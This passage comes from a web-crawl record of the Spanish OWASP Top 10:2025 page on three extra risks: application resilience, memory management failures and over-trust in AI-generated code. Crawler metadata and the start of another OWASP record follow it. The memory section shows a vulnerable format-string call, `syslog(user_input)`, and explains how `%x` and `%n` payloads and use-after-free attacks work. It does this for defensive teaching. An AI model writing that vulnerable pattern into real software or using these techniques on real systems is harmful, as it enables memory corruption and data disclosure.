riesgos más significativos. Cada OWASP Top 10 tiene riesgos \"al límite\" que se consideran detenidamente para su inclusión, pero que al final no pasaron el corte. Los otros riesgos fueron más prevalentes e impactantes.\n\nVale la pena esforzarse en identificar y remediar los siguientes tres problemas, ya sea para organizaciones que trabajan hacia un programa de seguridad de aplicaciones (AppSec) maduro, consultorías de seguridad o proveedores de herramientas que deseen ampliar la cobertura de sus ofertas.\n\n## X01:2025 Falta de Resiliencia de la Aplicación\n\n### Antecedentes\n\nEste es un cambio de nombre de la Denegación de Servicio (Denial of Service) de 2021. Se le cambió el nombre porque describía un síntoma más que una causa raíz. Esta categoría se centra en CWEs que describen debilidades relacionadas con problemas de resiliencia. La puntuación de esta categoría estuvo muy cerca de A10:2025 - Manejo Inadecuado de Condiciones Excepcionales. Los CWE relevantes incluyen: *CWE-400 Consumo de Recursos No Controlado (Uncontrolled Resource Consumption), CWE-409 Manejo Inadecuado de Datos Altamente Comprimidos (Amplificación de Datos) (Improper Handling of Highly Compressed Data (Data Amplification)), CWE-674 Recursión No Controlada (Uncontrolled Recursion)* y *CWE-835 Bucle con Condición de Salida Inalcanzable ('Bucle Infinito') (Loop with Unreachable Exit Condition ('Infinite Loop'))*.\n\n### Tabla de puntuación\n\n| CWEs Mapeados | Tasa de Incidencia Máxima | Tasa de Incidencia Promedio | Cobertura Máxima | Cobertura Promedio | Explotación Ponderada Promedio | Impacto Ponderado Promedio | Ocurrencias Totales | CVEs Totales |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 20.05% | 4.55% | 86.01% | 41.47% | 7.92 | 3.49 | 865,066 | 4,423 |\n\n### Descripción\n\nEsta categoría representa una debilidad sistémica en la forma en que las aplicaciones responden al estrés, las fallas y los casos extremos de los que no pueden recuperarse. Cuando una aplicación no maneja, resiste o se recupera con elegancia de condiciones inesperadas, restricciones de recursos y otros eventos adversos, puede resultar fácilmente en problemas de disponibilidad (lo más común), pero también en corrupción de datos, divulgación de datos sensibles, fallas en cascada y/o elusión de controles de seguridad.\n\nAdemás, X02:2025 Fallas en la Gestión de Memoria también pueden provocar la falla de la aplicación o incluso de todo el sistema.\n\n### Cómo prevenir\n\nPara prevenir este tipo de vulnerabilidad, debe diseñar sus sistemas para la falla y la recuperación.\n\n- Añada límites, cuotas y funcionalidad de conmutación por error (failover), prestando especial atención a las operaciones que más recursos consumen.\n- Identifique las páginas que consumen muchos recursos y planifique con antelación: Reduzca la superficie de ataque, especialmente no exponiendo \"gadgets\" y funciones innecesarias que requieran muchos recursos (por ejemplo, CPU, memoria) a usuarios desconocidos o no confiables.\n- Realice una validación de entradas estricta con listas de permitidos (allow-lists) y limitaciones de tamaño, luego realice pruebas exhaustivas.\n- Limite los tamaños de las respuestas y nunca envíe respuestas sin procesar al cliente (procéselas en el lado del servidor).\n- Establezca por defecto un estado seguro/cerrado (nunca abierto), deniegue por defecto y realice una reversión (roll back) si hay un error.\n- Evite llamadas síncronas bloqueantes en los hilos de solicitud (use asíncronas/no bloqueantes, establezca tiempos de espera (timeouts), límites de concurrencia, etc.).\n- Pruebe cuidadosamente su funcionalidad de manejo de errores.\n- Implemente patrones de resiliencia como interruptores (circuit breakers), mamparos (bulkheads), lógica de reintento (retry logic) y degradación elegante (graceful degradation).\n- Realice pruebas de rendimiento y carga; añada ingeniería de caos (chaos engineering) si tiene el apetito de riesgo para ello.\n- Implemente y diseñe arquitecturas con redundancia donde sea razonable y asequible.\n- Implemente monitorización, observabilidad y alertas.\n- Filtre las direcciones de remitente no válidas de acuerdo con RFC 2267.\n- Bloquee botnets conocidas mediante huellas digitales (fingerprints), IPs o dinámicamente por comportamiento.\n- Prueba de Trabajo (Proof-of-Work): inicie operaciones que consuman recursos en el lado del *atacante* , lo que no tiene grandes impactos en los usuarios normales pero afecta a los bots que intentan enviar una gran cantidad de solicitudes. Haga que la Prueba de Trabajo sea más difícil si la carga general del sistema aumenta, especialmente para los sistemas que son menos confiables o parecen ser bots.\n- Limite el tiempo de sesión en el lado del servidor basándose en la inactividad y un tiempo de espera final.\n- Limite el almacenamiento de información vinculada a la sesión.\n\n### Escenarios de ataque de ejemplo\n\n**Escenario #1:** Los atacantes consumen intencionadamente los recursos de la aplicación para provocar fallas en el sistema, lo que resulta en una denegación de servicio (Denial of Service). Esto podría ser el agotamiento de la memoria, el llenado del espacio en disco, la saturación de la CPU o la apertura de conexiones infinitas.\n\n**Escenario #2:** Fuzzing de entrada que conduce a respuestas manipuladas que rompen la lógica de negocio de la aplicación.\n\n**Escenario #3:** Los atacantes se centran en las dependencias de la aplicación, derribando APIs u otros servicios externos, y la aplicación no puede continuar.\n\n### Referencias\n\n- [OWASP Cheat Sheet: Denegación de Servicio](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n- [OWASP MASVS‑RESILIENCE](https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/)\n- [Mejores prácticas de ASP.NET Core (Microsoft)](https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0)\n- [Resiliencia en microservicios: Bulkhead vs Circuit Breaker (Parser)](https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53)\n- [Patrón Bulkhead (Geeks for Geeks)](https://www.geeksforgeeks.org/system-design/bulkhead-pattern/)\n- [Marco de Ciberseguridad del NIST (CSF)](https://www.nist.gov/cyberframework)\n- [Evite llamadas bloqueantes: Vuelva asíncrono en Java (Devlane)](https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java)\n\n### Lista de CWEs Mapeados\n\n- [CWE-73 Control Externo del Nombre o Ruta del Archivo (External Control of File Name or Path)](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Lista Permisiva de Entradas Permitidas (Permissive List of Allowed Inputs)](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Almacenamiento de Contraseña en Texto Plano (Plaintext Storage of a Password)](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Asignación Incorrecta de Privilegios (Incorrect Privilege Assignment)](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Gestión Inadecuada de Privilegios (Improper Privilege Management)](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 Gestión de Usuarios Incorrecta (Incorrect User Management)](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 Falta de Cifrado de Datos Sensibles (Missing Encryption of Sensitive Data)](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Almacenamiento de Información Sensible en Texto Claro (Cleartext Storage of Sensitive Information)](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 Almacenamiento en Texto Claro en un Archivo o en Disco (Cleartext Storage in a File or on Disk)](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 Almacenamiento de Información Sensible en Texto Claro en Memoria (Cleartext Storage of Sensitive Information in Memory)](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 Ejecución Concurrente utilizando un Recurso Compartido con Sincronización Inadecuada ('Condición de Carrera') (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 Malas Prácticas de J2EE: Uso de System.exit() (J2EE Bad Practices: Use of System.exit())](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 Canal Primario No Protegido (Unprotected Primary Channel)](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 Carga sin Restricciones de Archivos con un Tipo Peligroso (Unrestricted Upload of File with Dangerous Type)](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 Conflicto de Interpretación (Interpretation Conflict)](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 Interpretación Inconsistente de Solicitudes HTTP ('HTTP Request/Response Smuggling') (Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'))](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 Tergiversación de Información Crítica en la Interfaz de Usuario (UI) (User Interface (UI) Misrepresentation of Critical Information)](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 Inicialización Externa de Variables Confiables o Almacenes de Datos (External Initialization of Trusted Variables or Data Stores)](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 Control Externo de un Parámetro Web Supuestamente Inmutable (External Control of Assumed-Immutable Web Parameter)](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 Violación del Límite de Confianza (Trust Boundary Violation)](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Credenciales Insuficientemente Protegidas (Insufficiently Protected Credentials)](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 Uso de la Caché del Navegador Web que Contiene Información Sensible (Use of Web Browser Cache Containing Sensitive Information)](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 Uso de Cookies Persistentes que Contienen Información Sensible (Use of Persistent Cookies Containing Sensitive Information)](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 Uso del Método de Solicitud GET con Cadenas de Consulta Sensibles (Use of GET Request Method With Sensitive Query Strings)](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 Ejecución en el Lado del Cliente de la Seguridad del Lado del Servidor (Client-Side Enforcement of Server-Side Security)](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 Llamada a Función con Argumentos Especificados Incorrectamente (Function Call with Incorrectly Specified Arguments)](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 Control Externo de Datos de Estado Críticos (External Control of Critical State Data)](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 Dependencia en el Nombre o Extensión de un Archivo Suministrado Externamente (Reliance on File Name or Extension of Externally-Supplied File)](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 Aislamiento o Compartimentación Inadecuados (Improper Isolation or Compartmentalization)](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 Dependencia en la Seguridad por Oscuridad (Reliance on Security Through Obscurity)](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 Violación de los Principios de Diseño Seguro (Violation of Secure Design Principles)](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 Uso de una Función Potencialmente Peligrosa (Use of Potentially Dangerous Function)](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 Falla del Mecanismo de Protección (Protection Mechanism Failure)](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Control Inadecuado de la Frecuencia de Interacción (Improper Control of Interaction Frequency)](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 Dependencia en Entradas No Confiables en una Decisión de Seguridad (Reliance on Untrusted Inputs in a Security Decision)](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 Ejecución Inadecuada del Flujo de Trabajo de Comportamiento (Improper Enforcement of Behavioral Workflow)](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Restricción Inadecuada de Capas o Marcos de la Interfaz de Usuario Renderizados (Improper Restriction of Rendered UI Layers or Frames)](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 Uso de un Enlace Web a un Destino No Confiable con Acceso a window.opener (Use of Web Link to Untrusted Target with window.opener Access)](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 Superficie de Ataque Excesiva (Excessive Attack Surface)](https://cwe.mitre.org/data/definitions/1125.html)\n\n## X02:2025 Fallas en la Gestión de Memoria\n\n### Antecedentes\n\nLenguajes como Java, C#, JavaScript/TypeScript (node.js), Go y Rust \"seguro\" (safe) son seguros en memoria (memory safe). Los problemas de manejo de memoria suelen ocurrir en lenguajes no seguros en memoria, como C y C++. Esta categoría obtuvo la puntuación más baja en la encuesta de la comunidad y baja en los datos, a pesar de tener el tercer mayor número de CVE relacionados. Creemos que esto se debe al predominio de las aplicaciones web sobre las aplicaciones de escritorio más tradicionales. Las vulnerabilidades de manejo de memoria suelen tener las puntuaciones CVSS más altas.\n\n### Tabla de puntuación\n\n| CWEs Mapeados | Tasa de Incidencia Máxima | Tasa de Incidencia Promedio | Cobertura Máxima | Cobertura Promedio | Explotación Ponderada Promedio | Impacto Ponderado Promedio | Ocurrencias Totales | CVEs Totales |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 2.96% | 1.13% | 55.62% | 28.45% | 6.75 | 4.82 | 220,414 | 30,978 |\n\n### Descripción\n\nCuando una aplicación se ve obligada a gestionar la memoria por sí misma, es muy fácil cometer errores. Los lenguajes seguros en memoria se utilizan cada vez más, pero todavía hay muchos sistemas heredados (legacy) en producción en todo el mundo, nuevos sistemas de bajo nivel que requieren el uso de lenguajes no seguros en memoria y aplicaciones web que interactúan con mainframes, dispositivos IoT, firmware y otros sistemas que pueden verse obligados a gestionar su propia memoria. Los CWE representativos son el *CWE-120 Copia de Búfer sin Comprobar el Tamaño de la Entrada ('Desbordamiento de Búfer Clásico') (Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))* y el *CWE-121 Desbordamiento de Búfer basado en Pila (Stack-based Buffer Overflow)*.\n\nLas fallas en el manejo de memoria pueden ocurrir cuando:\n\n- No se asigna suficiente memoria para una variable.\n- No se valida la entrada, lo que provoca un desbordamiento del montón (heap), la pila (stack) o un búfer.\n- Se almacena un valor de datos que es mayor de lo que el tipo de variable puede contener.\n- Se intenta utilizar memoria o espacios de direcciones no asignados.\n- Se crean errores por uno (off-by-one errors) (contar desde 1 en lugar de desde cero).\n- Se intenta acceder a un objeto después de haber sido liberado.\n- Se utilizan variables no inicializadas.\n- Se producen fugas de memoria (memory leaks) o se agota de otro modo toda la memoria disponible por error hasta que la aplicación falla.\n\nLas fallas en el manejo de memoria pueden provocar la falla de la aplicación o incluso de todo el sistema, consulte también X01:2025 Falta de Resiliencia de la Aplicación.\n\n### Cómo prevenir\n\nLa mejor manera de prevenir las fallas en el manejo de memoria es utilizar un lenguaje seguro en memoria (memory-safe). Los ejemplos incluyen Rust, Java, Go, C#, Python, Swift, Kotlin, JavaScript, etc. Al crear nuevas aplicaciones, intente convencer a su organización de que vale la pena la curva de aprendizaje para cambiar a un lenguaje seguro en memoria. Si se realiza una refactorización completa, presione para una reescritura en un lenguaje seguro en memoria cuando sea posible y factible.\n\nSi no puede utilizar un lenguaje seguro en memoria, realice lo siguiente:\n\n- Habilite las siguientes características del servidor que dificultan la explotación de los errores de manejo de memoria: aleatorización del diseño del espacio de direcciones (ASLR), protección de ejecución de datos (DEP) y protección contra la sobrescritura del manejo de excepciones estructuradas (SEHOP).\n- Supervise su aplicación en busca de fugas de memoria.\n- Valide cuidadosamente todas las entradas a su sistema y rechace cualquier entrada que no cumpla con las expectativas.\n- Estudie el lenguaje que está utilizando y haga una lista de las funciones inseguras y las más seguras, luego comparta esa lista con todo su equipo. Si es posible, añádala a su guía o estándar de codificación segura. Por ejemplo, en C, prefiera strncpy() sobre strcpy() y strncat() sobre strcat().\n- Si su lenguaje o entorno de trabajo (framework) ofrece librerías de seguridad de memoria, úselas. Por ejemplo: Safestringlib o SafeStr.\n- Utilice búferes y cadenas gestionados en lugar de matrices (arrays) y punteros brutos siempre que sea posible.\n- Realice una formación en codificación segura que se centre en los problemas de memoria y/o en el lenguaje de su elección. Informe a su instructor que le preocupan las fallas en el manejo de memoria.\n- Realice revisiones de código y/o análisis estáticos.\n- Utilice herramientas del compilador que ayuden con la gestión de la memoria, como StackShield, StackGuard y Libsafe.\n- Realice pruebas de fuzzing en cada entrada de su sistema.\n- Si realiza una prueba de penetración, informe a su evaluador que le preocupan las fallas en el manejo de memoria y que le gustaría que prestara especial atención a esto durante las pruebas.\n- Corrija todos los errores *y* advertencias del compilador. No ignore las advertencias solo porque su programa se compile.\n- Asegúrese de que su infraestructura subyacente se parchea, escanea y robustece (hardened) regularmente.\n- Supervise su infraestructura subyacente específicamente para detectar posibles vulnerabilidades de memoria y otros fallas.\n- Considere el uso de [canarios](https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries) para proteger su pila de direcciones de los ataques de desbordamiento.\n\n### Escenarios de ataque de ejemplo\n\n**Escenario #1:** Los desbordamientos de búfer (buffer overflows) son la vulnerabilidad de memoria más famosa, una situación en la que un atacante envía más información a un campo de la que puede aceptar, de modo que desborda el búfer creado para la variable subyacente. En un ataque exitoso, los caracteres de desbordamiento sobrescriben el puntero de la pila, permitiendo al atacante insertar instrucciones maliciosas en su programa.\n\n**Escenario #2:** El uso después de la liberación (Use-After-Free (UAF)) ocurre con la frecuencia suficiente como para ser una entrega semi-común en programas de recompensas por errores (bug bounty) de navegadores. Imagine un navegador web que procesa JavaScript que manipula elementos DOM. El atacante diseña una carga útil de JavaScript que crea un objeto (como un elemento DOM) y obtiene referencias a él. A través de una manipulación cuidadosa, provocan que el navegador libere la memoria del objeto mientras mantienen un puntero colgante (dangling pointer) hacia él. Antes de que el navegador se dé cuenta de que la memoria ha sido liberada, el atacante asigna un nuevo objeto que ocupa el *mismo* espacio de memoria. Cuando el navegador intenta utilizar el puntero original, ahora apunta a datos controlados por el atacante. Si este puntero era para una tabla de funciones virtuales, el atacante puede redirigir la ejecución del código a su carga útil.\n\n**Escenario #3:** Un servicio de red que acepta la entrada del usuario, no la valida ni sanea adecuadamente y luego la pasa directamente a la función de registro (logging). La entrada del usuario se pasa a la función de registro como `syslog(user_input)` en lugar de `syslog(\"%s\", user_input)`, lo que no especifica el formato. El atacante envía cargas útiles maliciosas que contienen especificadores de formato como `%x` para leer la memoria de la pila (divulgación de datos sensibles) o `%n` para escribir en direcciones de memoria. Al encadenar múltiples especificadores de formato, podrían mapear la pila, localizar direcciones importantes y luego sobrescribirlas. Esto sería una vulnerabilidad de cadena de formato (Format string vulnerability) (formato de cadena no controlado).\n\nNota: los navegadores modernos utilizan muchos niveles de defensa para protegerse contra tales ataques, incluyendo el aislamiento de procesos del navegador (browser sandboxing), ASLR, DEP/NX, RELRO y PIE. Un ataque de falla en el manejo de memoria en un navegador no es un ataque sencillo de realizar.\n\n### Referencias\n\n- [OWASP community pages: Memory leak,](https://owasp.org/www-community/vulnerabilities/Memory_leak) [Doubly freeing memory,](https://owasp.org/www-community/vulnerabilities/Doubly_freeing_memory) [& Buffer Overflow](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/secfigo/Awesome-Fuzzing)\n- [Project Zero Blog](https://googleprojectzero.blogspot.com)\n- [Microsoft MSRC Blog](https://www.microsoft.com/en-us/msrc/blog)\n\n### Lista de CWEs Mapeados\n\n- [CWE-14 Eliminación por el Compilador de Código para Limpiar Búferes (Compiler Removal of Code to Clear Buffers)](https://cwe.mitre.org/data/definitions/14.html)\n- [CWE-119 Restricción Inadecuada de las Operaciones dentro de los Límites de un Búfer de Memoria (Improper Restriction of Operations within the Bounds of a Memory Buffer)](https://cwe.mitre.org/data/definitions/119.html)\n- [CWE-120 Copia de Búfer sin Comprobar el Tamaño de la Entrada ('Desbordamiento de Búfer Clásico') (Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))](https://cwe.mitre.org/data/definitions/120.html)\n- [CWE-121 Desbordamiento de Búfer basado en Pila (Stack-based Buffer Overflow)](https://cwe.mitre.org/data/definitions/121.html)\n- [CWE-122 Desbordamiento de Búfer basado en Montón (Heap-based Buffer Overflow)](https://cwe.mitre.org/data/definitions/122.html)\n- [CWE-124 Subescritura de Búfer ('Subdesbordamiento de Búfer') (Buffer Underwrite ('Buffer Underflow'))](https://cwe.mitre.org/data/definitions/124.html)\n- [CWE-125 Lectura Fuera de Límites (Out-of-bounds Read)](https://cwe.mitre.org/data/definitions/125.html)\n- [CWE-126 Sobrelectura de Búfer (Buffer Over-read)](https://cwe.mitre.org/data/definitions/126.html)\n- [CWE-190 Desbordamiento de Enteros o Envolvimiento (Integer Overflow or Wraparound)](https://cwe.mitre.org/data/definitions/190.html)\n- [CWE-191 Subdesbordamiento de Enteros (Envolvimiento) (Integer Underflow (Wrap or Wraparound))](https://cwe.mitre.org/data/definitions/191.html)\n- [CWE-196 Error de Conversión de Sin Signo a Con Signo (Unsigned to Signed Conversion Error)](https://cwe.mitre.org/data/definitions/196.html)\n- [CWE-367 Condición de Carrera de Tiempo de Comprobación a Tiempo de Uso (TOCTOU) (Time-of-check Time-of-use (TOCTOU) Race Condition)](https://cwe.mitre.org/data/definitions/367.html)\n- [CWE-415 Liberación Doble (Double Free)](https://cwe.mitre.org/data/definitions/415.html)\n- [CWE-416 Uso Después de la Liberación (Use After Free)](https://cwe.mitre.org/data/definitions/416.html)\n- [CWE-457 Uso de Variable No Inicializada (Use of Uninitialized Variable)](https://cwe.mitre.org/data/definitions/457.html)\n- [CWE-459 Limpieza Incompleta (Incomplete Cleanup)](https://cwe.mitre.org/data/definitions/459.html)\n- [CWE-467 Uso de sizeof() en un Tipo de Puntero (Use of sizeof() on a Pointer Type)](https://cwe.mitre.org/data/definitions/467.html)\n- [CWE-787 Escritura Fuera de Límites (Out-of-bounds Write)](https://cwe.mitre.org/data/definitions/787.html)\n- [CWE-788 Acceso a una Ubicación de Memoria Después del Final del Búfer (Access of Memory Location After End of Buffer)](https://cwe.mitre.org/data/definitions/788.html)\n- [CWE-824 Acceso a un Puntero No Inicializado (Access of Uninitialized Pointer)](https://cwe.mitre.org/data/definitions/824.html)\n\n## X03:2025 Confianza Inapropiada en el Código Generado por IA ('Vibe Coding')\n\n### Antecedentes\n\nActualmente, todo el mundo habla y utiliza la IA, y esto incluye a los desarrolladores de software. Aunque actualmente no existen CVE o CWE relacionados con el código generado por IA, es bien sabido y está documentado que el código generado por IA a menudo contiene más vulnerabilidades que el código escrito por seres humanos.\n\n### Descripción\n\nEstamos viendo cómo cambian las prácticas de desarrollo de software para incluir no solo código escrito con la ayuda de la IA, sino código escrito y entregado casi por completo sin supervisión humana (a menudo denominado *vibe coding*). Así como nunca fue una buena idea copiar fragmentos de código de blogs o sitios web sin pensarlo dos veces, el problema se agrava en este caso. Los fragmentos de código buenos y seguros eran y son escasos, y la IA podría ignorarlos estadísticamente debido a las limitaciones del sistema.\n\n### Cómo prevenir\n\nInstamos a todas las personas que escriben código a que consideren lo siguiente cuando utilicen la IA:\n\n- Debe ser capaz de leer y comprender completamente todo el código que envíe, incluso si ha sido escrito por una IA o copiado de un foro en línea. Usted es responsable de todo el código que entregue.\n- Debe revisar a fondo todo el código asistido por IA en busca de vulnerabilidades, idealmente con sus propios ojos y también con herramientas de seguridad creadas para este fin (como el análisis estático). Considere el uso de técnicas clásicas de revisión de código como las descritas en [OWASP Cheat Sheet Series: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html) .\n- Idealmente, escriba su propio código, deje que la IA sugiera mejoras, verifique el código de la IA y deje que la IA haga correcciones hasta que esté satisfecho con el resultado.\n- Considere el uso de un servidor de Generación Aumentada por Recuperación (RAG) con sus propias muestras de código seguro y documentación recopiladas y revisadas, como la guía, estándar o política de codificación de seguridad de su organización, y haga que el servidor RAG aplique cualquier política o estándar.\n- Considere la compra de herramientas que implementen salvaguardas (guardrails) para la privacidad y la seguridad para su uso con la(s) IA(s) de su elección.\n- Considere la compra de una IA privada, idealmente con un acuerdo contractual (incluyendo un acuerdo de privacidad) que estipule que la IA no debe ser entrenada con los datos, consultas, código o cualquier otra información sensible de su organización.\n- Considere la implementación de un servidor de Protocolo de Contexto de Modelo (MCP) entre su IDE y la IA, y luego configúrelo para imponer el uso de su herramienta de seguridad preferida.\n- Implemente políticas y procesos como parte de su SDLC para informar a los desarrolladores (y a todos los empleados) sobre cómo deben y no deben usar la IA dentro de su organización.\n- Cree una lista de prompts (instrucciones) buenos y efectivos que tengan en cuenta las mejores prácticas de seguridad de TI. Idealmente, también deberían considerar sus pautas internas de codificación segura. Los desarrolladores pueden usar estos prompts como punto de partida para sus programas.\n- Es probable que la IA se convierta en parte de cada fase del ciclo de vida de desarrollo de su sistema; aprenda cómo usarla de manera efectiva y segura. Úsela sabiamente.\n- De hecho, **no** se recomienda utilizar *vibe coding* para funciones complejas, programas críticos para el negocio o programas que se utilicen durante mucho tiempo.\n- Implemente comprobaciones técnicas y salvaguardas contra el uso de IA en la sombra (Shadow AI).\n- Capacite a sus desarrolladores en sus políticas, así como en el uso seguro de la IA y las mejores prácticas para usar la IA en el desarrollo de software.\n\n### Referencias\n\n- [OWASP Cheat Sheet: Revisión de Código Seguro](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html)\n\n### Lista de CWEs Mapeados\n\n-ninguno-", "znaku_textu": 27764, "slov": 3627, "odkazu": 126, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:59", "sha256": "21816b6987e3bc6e3fc6efe5bea506a16e8dc4aa715b2731e4b6c6b9a32050d8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html", "https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/", "https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0", "https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53", "https://www.geeksforgeeks.org/system-design/bulkhead-pattern/", "https://www.nist.gov/cyberframework", "https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "https://en.wikipedia.org/wiki/Buffer_overflow_protection", "https://github.com/secfigo/Awesome-Fuzzing", "https://googleprojectzero.blogspot.com/", "https://www.microsoft.com/en-us/msrc/blog", "https://cwe.mitre.org/data/definitions/14.html", "https://cwe.mitre.org/data/definitions/119.html", "https://cwe.mitre.org/data/definitions/120.html", "https://cwe.mitre.org/data/definitions/121.html", "https://cwe.mitre.org/data/definitions/122.html", "https://cwe.mitre.org/data/definitions/124.html", "https://cwe.mitre.org/data/definitions/125.html", "https://cwe.mitre.org/data/definitions/126.html", "https://cwe.mitre.org/data/definitions/190.html", "https://cwe.mitre.org/data/definitions/191.html", "https://cwe.mitre.org/data/definitions/196.html", "https://cwe.mitre.org/data/definitions/367.html", "https://cwe.mitre.org/data/definitions/415.html", "https://cwe.mitre.org/data/definitions/416.html", "https://cwe.mitre.org/data/definitions/457.html", "https://cwe.mitre.org/data/definitions/459.html", "https://cwe.mitre.org/data/definitions/467.html", "https://cwe.mitre.org/data/definitions/787.html", "https://cwe.mitre.org/data/definitions/788.html", "https://cwe.mitre.org/data/definitions/824.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/", "titulek": "Home - OWASP Top 10:2025", "h1": "OWASP Top 10:2025", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10:2025"}, {"uroven": 2, "text": "About This Release"}, {"uroven": 2, "text": "Main Project Page"}, {"uroven": 2, "text": "Getting Started"}, {"uroven": 3, "text": "Top 10:2025 List"}], "markdown": "# OWASP Top 10:2025\n\nWelcome to the OWASP Top 10:2025 Release.\n\nThe OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.\n\n## About This Release\n\nThis is the **2025** version of the OWASP Top 10. This version includes updates based on the latest data and security trends.\n\n## Main Project Page\n\nThe [main project page](https://github.com/OWASP/www-project-top-ten) has information about older versions and metadata about this project.\n\n## Getting Started\n\nStart with the [Introduction](0x00_2025-Introduction/) to learn about what's new in the 2025 version.\n\n- [Introduction](0x00_2025-Introduction/)\n- [About 